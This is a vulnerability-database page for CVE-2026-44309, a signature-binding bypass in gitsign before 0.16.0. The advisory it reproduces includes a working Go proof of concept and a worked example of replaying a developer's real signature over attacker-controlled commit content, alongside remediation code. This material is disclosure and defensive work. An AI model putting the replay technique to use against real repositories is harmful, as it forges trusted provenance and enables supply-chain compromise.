Skip to main content

gitsign CVE-2026-44309

| EUVDEUVD-2026-30563 MEDIUM
Improper Certificate Validation (CWE-295)
2026-05-08 https://github.com/sigstore/gitsign GHSA-7rmh-48mx-2vwc
5.3
CVSS 3.1 · Vendor: https://github.com/sigstore/gitsign
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain legitimately gitsign-signed commit from target identity
  2. Delivery
    Craft malformed commit with duplicate tree headers (attacker tree first, legitimate tree second)
  3. Exploit
    Push malformed object to accessible remote bypassing server fsck
  4. Execution
    Victim fetches repository and runs gitsign verify
  5. Persist
    go-git parses second tree, re-encodes, signature validates
  6. Impact
    git-core and all tooling present attacker-controlled first tree to users

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A07:2025 - Authentication Failures
ASVS 5.0
V12 - Secure Communication Certificate validation
Exploitation Conditions

Three concrete conditions must all be satisfied: (1) The attacker must successfully deliver a malformed git commit object - one containing duplicate tree headers - to a repository the victim will use; this requires bypassing server-side fsck object validation (receive.fsckObjects, fetch.fsckObjects), which is disabled by default on GitHub, GitLab, and most self-hosted git servers. (2) The victim must explicitly invoke gitsign verify or gitsign verify-tag on the malformed commit; the vulnerability does not trigger automatically on clone, fetch, or push, and the git verify-commit integration path is not affected. (3) For the signature-replay form (the highest-impact variant), the attacker needs only a copy of any existing legitimately gitsign-signed commit from the target identity - no signing key or credential is required. Exploitation is bounded by the combination of fsck bypass complexity and required user interaction. The git verify-commit path, Rekor tlog inclusion checks independent of gitsign, and any CI system that does not call gitsign verify directly are all unaffected.

Impact

The CVSS 3.1 vector AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N is internally consistent with the description and yields a score: the advisory body states 5.7 while the metadata field states 5.3 - a discrepancy that should be resolved against the authoritative NVD or GHSA entry before relying on the numeric score. EPSS at 0.02% (5th percentile) and the SSVC designation of 'Automatable: no' both reflect the high attack complexity: an attacker must craft malformed objects that bypass server-side fsck checks, which are not enabled by default on most git hosting platforms. The SSVC exploitation status is 'poc' (not 'active'), consistent with the absence of a CISA KEV listing. Despite the moderate numeric score, the qualitative integrity impact is serious in the specific context where gitsign is deployed: it is used precisely as a supply-chain trust anchor, and the vulnerability nullifies the security guarantee it is meant to provide. CI/CD pipelines or code review workflows that treat gitsign verify output as a security gate are at meaningful risk, because a passing verification result may endorse attacker-controlled tree content. Risk is constrained by the requirement for user interaction, high complexity, and the narrow deployment footprint of the tool.

Exploit ScenarioDerived

A publicly available proof-of-concept demonstrates the attack. An attacker obtains a legitimately gitsign-signed commit from a trusted developer (Alice), then crafts a malformed raw commit object containing two tree headers - the first pointing to attacker-controlled content (parsed by git-core) and the second pointing to Alice's original tree (parsed by go-git) - with Alice's valid gpgsig replayed verbatim. When a victim clones the repository containing this malformed commit and runs gitsign verify, go-git parses the second (Alice's) tree, re-encodes it, Alice's signature validates, and gitsign reports a good signature from alice@corp.com - while git log and all git-core tooling display the attacker-controlled file tree.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Signature binding bypass in gitsign (versions prior to 0.16.0) allows a crafted malformed git commit to pass gitsign verify while git-core resolves it to entirely different, attacker-controlled content. The tool re-encodes commit objects through go-git's EncodeWithoutSignature before signature verification rather than verifying raw bytes; for commits with duplicate tree headers, go-git silently uses the second tree while git-core uses the first, creating a parsing divergence that an attacker can exploit to replay any existing legitimate signature over a new commit pointing to malicious content - without possessing any signing key. A detailed proof-of-concept is publicly available; no active exploitation is confirmed in CISA KEV, and EPSS sits at 0.02% (5th percentile), reflecting the high attack complexity required.

RemediationAI

Upgrade gitsign to version 0.16.0, the vendor-released patch confirmed by both the GHSA advisory (https://github.com/sigstore/gitsign/security/advisories/GHSA-7rmh-48mx-2vwc) and the package metadata (fixed in: 0.16.0). The fix changes the verify and verify-tag paths to read raw object bytes directly from the git object store and strip the gpgsig header manually, mirroring the already-correct git verify-commit integration path. For environments that cannot upgrade immediately, the most actionable compensating control is to stop relying on gitsign verify or gitsign verify-tag as security gates for untrusted commits; the git verify-commit path (commandVerify) is unaffected and remains safe. Additionally, enabling server-side fsck checks (receive.fsckObjects=true and fetch.fsckObjects=true) on git servers reduces the attack surface by rejecting malformed objects at ingestion time, though this is not universally supported by all hosting platforms and does not address the underlying verification flaw for objects that do reach the local store.

Affected VersionsENISA

gitsign < 0.16.0

Affected Packages

go github.com/sigstore/gitsign fix: 0.16.0
euvd gitsign fix: 0.16.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

gitsign is a Sigstore-based keyless git commit signing tool (CPE: pkg:go/github.com/sigstore/gitsign) backed by Fulcio certificate issuance and the Rekor transparency log. The root cause is CWE-347 (Improper Verification of Cryptographic Signature): the gitsign verify and gitsign verify-tag CLI commands call go-git's EncodeWithoutSignature to reconstruct a canonical commit body before passing it to the cryptographic verifier, rather than reading the raw bytes already stored in the git object store. go-git performs loose object parsing and, when encountering a commit with duplicate tree headers, silently discards the first and retains only the second. git-core, by contrast, always uses the first tree header. The result is that the byte sequence over which a signature is verified diverges from the byte sequence git-core uses to resolve the commit's file tree. A secondary CWE-295 (Improper Certificate Validation) applies because a certificate appears to vouch for content it never actually signed. The vulnerability is localized to internal/commands/verify/verify.go:75, internal/commands/verify-tag/verify_tag.go:77, and pkg/git/verify.go:126-176; the git verify-commit integration path already handles raw bytes correctly and is unaffected.

Know when Canonical gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/sigstore/gitsign) PRIMARY 5.3 MEDIUM
AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
vuln.today AI 5.3 MEDIUM

Network vector for remote commit delivery; AC:H for mandatory server-fsck bypass; PR:N because signature replay requires no credential; UI:R because victim must explicitly invoke gitsign verify; I:H for full signature binding nullification; C:N and A:N as no data exposure or denial occurs.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
4.0 AV:N/AC:H/AT:P/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE MEDIUM
Red Hat 5.3 MEDIUM

Primary rating from Vendor (https://github.com/sigstore/gitsign).

CVSS VectorVendor: https://github.com/sigstore/gitsign

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

DescriptionCVE.org

Summary

gitsign verify and gitsign verify-tag re-encode commit/tag objects through go-git's EncodeWithoutSignature before checking the signature, instead of verifying against the raw git object bytes. For malformed objects with duplicate tree headers, git-core and go-git parse different trees: git-core uses the first, go-git uses the second. A signature crafted over the go-git-normalized form (second tree) passes gitsign verify while git-core resolves the commit to a completely different tree. This breaks the invariant that a verified signature, the commit semantics git-core presents to users, and the object hash logged in Rekor all refer to the same content.

Severity

Medium (CVSS 3.1: 5.7)

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N

  • Attack Vector: Network - a malformed commit can be distributed via any accessible git remote
  • Attack Complexity: High - exploitation requires crafting malformed objects that also bypass git server fsck checks (not universally enabled)
  • Privileges Required: None - the most impactful form (signature replay) requires no signing key
  • User Interaction: Required - a victim must run gitsign verify on the malformed commit
  • Scope: Unchanged - impact is confined to the repository under verification
  • Confidentiality Impact: None
  • Integrity Impact: High - a verified signature appears to endorse content different from what git-core resolves and presents to users
  • Availability Impact: None

Affected Component

  • internal/commands/verify/verify.go - (o *options).Run (line 75)
  • internal/commands/verify-tag/verify_tag.go - (o *options).Run (line 77)
  • pkg/git/verify.go - ObjectHash (lines 126-158, specifically the commit() round-trip at 161-176)

CWE

  • CWE-347: Improper Verification of Cryptographic Signature
  • CWE-295: Improper Certificate Validation (secondary - the mismatch allows a cert to appear to cover content it never covered)

Description

Root cause: re-encoding instead of raw-byte verification

When gitsign verify is invoked, the commit is opened via go-git and its body is reconstructed through EncodeWithoutSignature before being passed to the cryptographic verifier:

go
// internal/commands/verify/verify.go:63-92
c, err := repo.CommitObject(*h)          // go-git parses the raw object
...
c2 := new(plumbing.MemoryObject)
if err := c.EncodeWithoutSignature(c2); err != nil {  // re-encodes canonical form
    return err
}
r, _ := c2.Reader()
data, _ := io.ReadAll(r)

summary, err := v.Verify(ctx, data, sig, true)   // verifies re-encoded bytes, not raw bytes

The same pattern appears in verify-tag:

go
// internal/commands/verify-tag/verify_tag.go:76-95
tagData := new(plumbing.MemoryObject)
if err := tagObj.EncodeWithoutSignature(tagData); err != nil {
    return err
}

The loose-parsing assumption in go-git

The codebase itself acknowledges the problem in ObjectHash:

go
// pkg/git/verify.go:137-142
// We're making big assumptions here about the ordering of fields
// in Git objects. Unfortunately go-git does loose parsing of objects,
// so it will happily decode objects that don't match the unmarshal type.
// We should see if there's a better way to detect object types.
switch {
case bytes.HasPrefix(data, []byte("tree ")):
    encoder, err = commit(obj, sig)

go-git's loose parsing means that for a commit containing two tree headers, it silently discards the first and retains the second. EncodeWithoutSignature then produces a canonical commit body containing only the second tree - which can differ from what git-core resolves.

Divergent verification paths confirm the inconsistency

The git verify-commit path (internal/commands/root/verify.go) receives the raw commit bytes directly from git-core and does not re-encode them:

go
// internal/commands/root/verify.go:56-70
detached := len(args) >= 2
if detached {
    data, sig, err = readDetached(s, args...)  // raw bytes from git-core
} else {
    sig, err = readAttached(s, args...)
}
...
summary, err := v.Verify(ctx, data, sig, true)  // raw bytes, no re-encoding

The two paths therefore reach opposite conclusions for the same malformed commit: git verify-commit fails (raw bytes with both trees ≠ signed canonical bytes), while gitsign verify succeeds (re-encoded bytes match signed bytes).

Concrete attack: signature replay without a signing key

An attacker does not need a signing key to trigger the confusion. Given any existing legitimately gitsign-signed commit from Alice:

tree T1                        ← Alice's real tree (what go-git and gitsign see)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
 <Alice's valid signature over T1 canonical form>
 -----END SIGNED MESSAGE-----

This is Alice's commit.

An attacker crafts a new malformed commit object:

tree T2                        ← attacker's malicious tree (git-core uses this)
tree T1                        ← Alice's tree (go-git uses this)
author Alice <alice@corp.com> ...
committer Alice <alice@corp.com> ...
gpgsig -----BEGIN SIGNED MESSAGE-----
 <Alice's valid signature - replayed verbatim>
 -----END SIGNED MESSAGE-----

This is Alice's commit.
  • gitsign verify: go-git picks T1, re-encodes, Alice's signature verifies. Output: "Good signature from alice@corp.com."
  • git log / git-core: uses T2 (attacker-controlled content).
  • Rekor lookup: ObjectHash also goes through the go-git round-trip, so the logged hash is the T1-canonical hash - consistent with the forged verification output but not with the actual raw object.

The attack requires only that the malformed object be accepted into the local repository (bypassing server-side fsck), and that the victim runs gitsign verify.

Proof of Concept

go
// poc_tree_mismatch.go - run from repo root: go run ./poc_tree_mismatch.go
package main

import (
    "context"
    "crypto"
    "crypto/ecdsa"
    "crypto/elliptic"
    "crypto/rand"
    "crypto/x509"
    "crypto/x509/pkix"
    "fmt"
    "io"
    "math/big"
    "strings"
    "time"

    "github.com/go-git/go-git/v5/plumbing"
    "github.com/go-git/go-git/v5/plumbing/object"
    "github.com/go-git/go-git/v5/storage/memory"
    "github.com/sigstore/gitsign/internal/signature"
    ggit "github.com/sigstore/gitsign/pkg/git"
)

type identity struct {
    cert *x509.Certificate
    priv crypto.Signer
}

func (i *identity) Certificate() (*x509.Certificate, error)       { return i.cert, nil }
func (i *identity) CertificateChain() ([]*x509.Certificate, error) { return []*x509.Certificate{i.cert}, nil }
func (i *identity) Signer() (crypto.Signer, error)                { return i.priv, nil }
func (i *identity) Delete() error                                  { return nil }
func (i *identity) Close()                                         {}

func indentSig(sig string) string {
    sig = strings.TrimSuffix(sig, "\n")
    lines := strings.Split(sig, "\n")
    out := "gpgsig " + lines[0] + "\n"
    for _, ln := range lines[1:] {
        out += " " + ln + "\n"
    }
    return out
}

func main() {
    priv, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
    tmpl := &x509.Certificate{
        SerialNumber:          big.NewInt(1),
        Subject:               pkix.Name{CommonName: "attacker"},
        NotBefore:             time.Now().Add(-time.Minute),
        NotAfter:              time.Now().Add(time.Hour),
        KeyUsage:              x509.KeyUsageDigitalSignature,
        ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageCodeSigning},
        BasicConstraintsValid: true,
    }
    rawCert, _ := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &priv.PublicKey, priv)
    cert, _ := x509.ParseCertificate(rawCert)

    treeFirst  := strings.Repeat("a", 40) // git-core uses this
    treeSecond := strings.Repeat("b", 40) // go-git uses this
    author     := "author Eve <eve@example.com> 1700000000 +0000"
    committer  := "committer Eve <eve@example.com> 1700000000 +0000"
    msg        := "msg\n"

    // Sign the go-git canonical form (second tree only)
    canonicalData := fmt.Sprintf("tree %s\n%s\n%s\n\n%s", treeSecond, author, committer, msg)
    id := &identity{cert: cert, priv: priv}
    resp, err := signature.Sign(context.Background(), id, []byte(canonicalData),
        signature.SignOptions{Detached: true, Armor: true, IncludeCerts: 0})
    if err != nil {
        panic(err)
    }

    // Craft malformed raw commit: first=treeFirst (git-core), second=treeSecond (go-git)
    malformedRaw := fmt.Sprintf("tree %s\ntree %s\n%s\n%s\n%s\n%s",
        treeFirst, treeSecond, author, committer, indentSig(string(resp.Signature)), msg)

    st := memory.NewStorage()
    enc := st.NewEncodedObject()
    enc.SetType(plumbing.CommitObject)
    w, _ := enc.Writer()
    _, _ = w.Write([]byte(malformedRaw))
    _ = w.Close()
    c, err := object.DecodeCommit(st, enc)
    if err != nil {
        panic(err)
    }

    // Reproduce what gitsign verify does
    out := new(plumbing.MemoryObject)
    if err := c.EncodeWithoutSignature(out); err != nil {
        panic(err)
    }
    r, _ := out.Reader()
    verifyData, _ := io.ReadAll(r)

    roots := x509.NewCertPool()
    roots.AddCert(cert)
    v, _ := ggit.NewCertVerifier(ggit.WithRootPool(roots))
    _, verr := v.Verify(context.Background(), verifyData, []byte(c.PGPSignature), true)

    objHash, oerr := ggit.ObjectHash(verifyData, []byte(c.PGPSignature))
    rawObj := &plumbing.MemoryObject{}
    rawObj.SetType(plumbing.CommitObject)
    _, _ = rawObj.Write([]byte(malformedRaw))

    fmt.Println("FIRST_TREE_IN_RAW (git-core):", treeFirst)
    fmt.Println("SECOND_TREE_IN_RAW (go-git):", treeSecond)
    fmt.Println("GO_GIT_PARSED_TREE:", c.TreeHash.String())
    fmt.Println("VERIFY_DATA_EQUALS_CANONICAL:", string(verifyData) == canonicalData)
    fmt.Println("CERT_VERIFY_ERROR:", verr)           // nil = signature accepted
    fmt.Println("OBJECTHASH_ERROR:", oerr)
    fmt.Println("OBJECTHASH_FROM_VERIFY_DATA:", objHash)
    fmt.Println("RAW_MALFORMED_COMMIT_HASH:", rawObj.Hash().String()) // differs from objHash
}

Expected output:

FIRST_TREE_IN_RAW (git-core): aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
SECOND_TREE_IN_RAW (go-git):  bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
GO_GIT_PARSED_TREE:            bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
VERIFY_DATA_EQUALS_CANONICAL:  true
CERT_VERIFY_ERROR:             <nil>          ← signature accepted
OBJECTHASH_ERROR:              <nil>
OBJECTHASH_FROM_VERIFY_DATA:   <hash of canonical form>
RAW_MALFORMED_COMMIT_HASH:     <different hash>   ← hash mismatch confirms split

Impact

  • Signature binding bypass: gitsign verify reports a valid signature from a trusted identity for a commit that git-core resolves to completely different content (a different tree).
  • Signature replay without a key: An attacker can reuse any existing gitsign-signed commit to produce a new commit that passes gitsign verify but points to attacker-controlled content, without possessing any signing key.
  • Rekor tlog inconsistency: ObjectHash also goes through the go-git round-trip, so the hash stored in or looked up from the transparency log is the normalized hash, not the raw object hash. An auditor cross-referencing the tlog hash against the actual object store will see a mismatch.
  • Verification path divergence: git verify-commit and gitsign verify reach opposite verdicts for the same malformed commit, undermining auditability.

Recommended Remediation

Option 1: Verify against raw bytes (preferred)

Change the gitsign verify and gitsign verify-tag CLI commands to read the raw object bytes from the git object store and strip the signature header manually, mirroring what git-core does and what commandVerify already does when called by git verify-commit:

go
// internal/commands/verify/verify.go - replace lines 63-92
enc, err := repo.Storer.EncodedObject(plumbing.CommitObject, *h)
if err != nil {
    return fmt.Errorf("error reading encoded commit object: %w", err)
}
r, err := enc.Reader()
if err != nil {
    return err
}
rawBytes, err := io.ReadAll(r)
if err != nil {
    return err
}
data, sig, err := git.ExtractSignatureFromRawObject(rawBytes)
if err != nil {
    return err
}
// data is now the raw bytes without the gpgsig header - identical to what git-core passes
summary, err := v.Verify(ctx, data, sig, true)

This aligns the CLI verification path with the commandVerify (git verify-commit) path that already handles raw bytes correctly.

Option 2: Detect and reject malformed objects

Add a pre-verification check in ObjectHash and in the verification path that rejects objects with duplicate field headers (duplicate tree, parent, author, committer), returning an error rather than silently normalizing:

go
func validateRawCommitFields(data []byte) error {
    seen := map[string]bool{}
    for _, line := range bytes.Split(data, []byte("\n")) {
        if idx := bytes.IndexByte(line, ' '); idx > 0 {
            key := string(line[:idx])
            if seen[key] {
                return fmt.Errorf("malformed commit: duplicate field %q", key)
            }
            seen[key] = true
        }
        if len(line) == 0 {
            break // end of headers
        }
    }
    return nil
}

This is a defense-in-depth measure but does not address the fundamental architectural issue of verifying re-encoded bytes.

Credit

This vulnerability was discovered and reported by bugbunny.ai.

Threat Intelligence Overview

EPSS Score
0.0%
Top 95% exploitable
Prevalence
Low
niche Sigstore supply-chain signing tool, not general-purpose infrastructure
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2014-6271 CRITICAL POC
9.8 Sep 24

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2016-3714 HIGH POC
8.4 May 05

The (1) EPHEMERAL, (2) HTTPS, (3) MVG, (4) MSL, (5) TEXT, (6) SHOW, (7) WIN, and (8) PLT coders in ImageMagick before 6.

CVE-2017-12617 HIGH POC
8.1 Oct 04

When running Apache Tomcat versions 9.0.0.M1 to 9.0.0, 8.5.0 to 8.5.22, 8.0.0.RC1 to 8.0.46 and 7.0.0 to 7.0.81 with HTT

CVE-2016-8735 CRITICAL POC
9.8 Apr 06

Remote code execution is possible with Apache Tomcat before 6.0.48, 7.x before 7.0.73, 8.x before 8.0.39, 8.5.x before 8

CVE-2014-7169 CRITICAL POC
9.8 Sep 25

GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of

CVE-2014-0160 HIGH POC
7.5 Apr 07

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

CVE-2016-5195 HIGH POC
7.0 Nov 10

Race condition in mm/gup.c in the Linux kernel 2.x through 4.x before 4.8.3 allows local users to gain privileges by lev

CVE-2013-2423 LOW POC
3.7 Apr 17

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 17 and earlier, and

CVE-2023-4911 HIGH POC
7.8 Oct 03

Local privilege escalation in the GNU C Library (glibc) dynamic loader ld.so allows unprivileged local users on affected

Vendor StatusVendor

SUSE

Severity: Medium

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy